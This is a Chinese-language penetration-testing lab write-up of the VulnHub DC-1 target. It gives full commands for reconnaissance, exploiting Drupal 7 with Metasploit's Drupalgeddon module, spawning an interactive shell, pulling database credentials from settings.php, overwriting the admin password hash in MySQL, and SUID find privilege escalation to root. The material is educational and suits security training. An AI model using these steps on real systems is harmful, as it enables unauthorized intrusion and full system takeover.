目录
前言
一、前提准备
二、渗透测试
1.思路
2.步骤
2.1 信息收集
2.2 漏洞使用
2.3 交互shell
2.4 提权
三、总结
DC系列靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景,使渗透测试者可以在这些环境下测试自的技能和工具。DC系列靶机包含多个不同的主题,例如各种操作系统的漏洞,Web应用程序安全和无线网络安全等。它们对初学者和专业人士都有很大的价值,因为它们可以帮助他们了解安全漏洞和如何利用它们进行渗透测试。
攻击机:Kali
IP地址:192.168.10.137
测试机:DC-1(linux)
IP地址:192.168.10.138
DC-1下载地址:DC: 1 ~ VulnHub
网络:两个主机须在同一局域网下,所以虚拟机的网络配置器必须相同(NAT或者桥接)
目标:找到5个flag
进行渗透测试一定要有思路,我的思路是:
信息收集—> 寻找漏洞—> 利用漏洞(sql注入,文件上传漏洞,框架漏洞等)—> 反弹shell
—>进行提权
发现主机,这里我使用netdiscover工具,通过ARP扫描发现活动主机。
netdiscover -r 192.168.10.0/24
发现DC-1的IP地址为:192.168.10.138 ,ping一下可以检测测试机是否开启防火墙,发现可以ping通,之后使用nmap工具扫描端口。
ping 192.168.10.138
nmap -sS -sV -T4 -O 192.168.10.138
-sS TCP 同步扫描 (TCP SYN),因为不必全部打开一个 TCP 连接,所以这项技术通常称为半开扫描
-sV 对端口上的服务程序版本进行扫描
-T0-9 扫描速度,一般T4就够
-O 扫描探测目标主机的操作系统
通过nmap工具,我们发现测试机开通了22端口,80端口,111端口分别对应了ssh服务(远程连接服务),http服务,rpcbind服务(rpcbind是NFS中用来进行消息通知的服务)。
ssh服务,我就在想是不是需要利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器或者进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
http服务,我就知道是有网站的,是不是有SQL注入,文件上传解析漏洞,远程命令执行漏洞之类的漏洞。
rpcbind服务,没咋听过,就去搜索了一下相关漏洞,是有的但是我看不明白。
接下来就从简单的http开始验证我的猜想,进入网页没发现上传文件的地方,那就开始进行sql注入 ,很遗憾都没有,之后用dirsearch工具扫描目录,发现了robots.txt还存在,感觉有希望了。
dirsearch -u http://192.168.10.138/
robots.txt的作用:
- 可以让蜘蛛更高效的爬行网站;
- 可以阻止蜘蛛爬行动态页面,从而解决重复收录的问题;
- 可以减少蜘蛛爬行无效页面,节省服务器带宽;
- 危害:又可能会有重要地址
进去文件发现没有有用的,人楞了,压根就没想过框架系统漏洞,翻阅了其他大佬的wp,发现是框架漏洞(还是太年轻,欠练)
直接网站指纹扫描,这里使用whatweb工具
whatweb http://192.168.10.138/
发现框架版本Drupal 7,打开msf工具,搜索相关框架漏洞。
Msfconsole简称(msf)是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种木马,方便于安全测试人员的使用。
msfconsole
search Drupal 7
发现了8个漏洞,挨个挨个测试,看看哪个可以利用成功,经尝试发现,第3个漏洞(exploit/multi/http/drupal_drupageddon)是可以利用的。
msf漏洞使用
use 2
查看漏洞具体内容
info
配置被攻击机
set RHOSTS 192.168.10.138
检查配置
options
执行攻击
run
成功上线,接下来获取shell,我们需要交互型shell,采用了军刀之类的反弹shall都失败了,最终找到了一个可以开启终端的命令
python -c 'import pty;pty.spawn("/bin/bash")'
这是一段简短的 Python 代码,旨在从当前的 shell 会话中启动一个交互式的 bash shell(以提高终端的功能),并通过 TTY(伪终端)绑定到该 shell,从而获得更好的交互式操作体验。
代码导入了pty模块,并调用pty.spawn()函数,将参数"/bin/bash"传递给它。这个函数的作用是创建一个新的伪终端(pseudo-terminal)并将它与当前的终端关联起来,然后在新的伪终端内启动一个bash Shell进程。这相当于在当前终端执行了一个新的bash进程,但是该进程跑在伪终端下。
查看了权限,发现是普通用户权限,一定会提权。ls发现了本目录下有flag1.txt,找到第一个flag,cat查看具体内容。
ls
cat flag1.txt
flag1:
Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件,你也是。
提示我们需要找cms(内容管理系统)的配置文件,直接百度搜索。
我们通过百度发现了此系统的配置文件在sites/default/目录下,我们进入此目录,发现目录下有配置文件(settings.php),查看配置文件
cd sites/default/
ls
cat settings.php
发现了flag2和数据库的用户名和密码
flag2:
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
暴力和字典攻击不是
获得访问权限的唯一方法(您将需要访问权限)。
你能用这些证书做什么?数据库:
用户名:dbuser 密码:R0ck3t
接下来我的思路是:进入数据库查找网页登录账号和密码然后登陆网页。
mysql -udbuser -p
R0ck3t
show databases;
use drupaldb;
show tables;
select* from users;
成功找到账户和密码,但密码进行了加密,使用md5解密并没出来,又卡住了,去百度搜索了Drupal 7的加密方式,发现了Drupal 7并不是单纯的MD5
我的本意是找到加密脚本,然后逆向写一个解密脚本,但是还是太菜了,加密脚本都看不懂,而且MD5是不可逆的,紧接着搜索又发现了,有准备好的脚本。
接下来,我们可以先使用exit命令退出myspl,然后把想用的密码传入脚本,然后让脚本自动加密生成一个系统支持的密码形式(我们这里传入123456)。
生成密码:$S$D4mpsf5vApkT26HtoEKccL5nAo9YjEceEkz0np.6zC011MNhoEjQ
我们重进mysql,更改users下的admin的密码。
select uid,name,pass from users;
查看之前的用户密码
update users set pass="$S$D4mpsf5vApkT26HtoEKccL5nAo9YjEceEkz0np.6zC011MNhoEjQ" where name="admin";
更改admin的密码
select uid,name,pass from users;
查看更改后的用户密码
然后我们登录网页,在Dashboard下发现了flag3
flag3:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS将有助于查找密码,但您需要执行该命令才能找到阴影中的内容。
给出提示查找一下passwd,passwd在ect目录下有一个,我们进行查找发现flag4存在home目录下,直接进入home目录查看flag4
cat /etc/passwd
cd /home/flag4
ls
cat flag4.txt
flag4:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
您可以使用相同的方法来查找或访问根中的标志吗?
可能。但也许没那么容易。也许是这样?
最后一步了,给出提示flag就在根目录下,到最重要的一部了—— 提权。flag3和flag4其实都给出了提示"find",我们可以使用finda提权,去https://gtfobins.github.io/网站可找到不同命令的提权方式,这里我们使用find提权
find . -exec /bin/sh \; -quit
发现shell前缀改变,查看权限,发现有了root权限,进入root目录,找到最终flag。
id
cd /root
ls
cat thefinalflag.txt
到此DC-1靶场就此攻破,前面提到的ssh漏洞,rpcbind漏洞都没用到。翻看了别的大佬的wp,发现他们用到了ssh暴力破解,而我取了个巧没有爆破。
DC-1靶场攻破过程:
1、首先我们将测试机的网站进行了指纹扫描,发现它的框架版本是Drupal 7,然后进入msf搜索相关漏洞,利用可行漏洞进行上线,然后拿到交互shell,发现了flag1,提示我们注意系统配置
2、通过百度搜索cms的配置文件在sites/default中,查看配置文件发现了flag2,给了我们数据库账号和密码
3、我们进入后想更改密码,但是密码是进行了专门加密的,我们通过百度知道了系统下自带加密器,于是我们借助加密器生成了一个符合系统的密码,并且将数据库admin用户的密码进行了更改。使用更改后的密码,登陆上网站后,发现了flag3,提示我们寻找passwd
3、于是我们找到了etc目录下的passwd,发现了flag4在home目录下,我们进入home目录,查看了flag4,并提示我们flag5在root目录下(需要提权)
4、最后通过flag3和flag4的提示,我们使用find命令进行了提权并成功获取最后的falg5,打穿了DC-1靶机
最后做个简短的总结,其实渗透测试最重要的就是思路(就像打台球一样,输球不能输思路),思路的来源就是大量的实战经验,要发散思维万不可局限。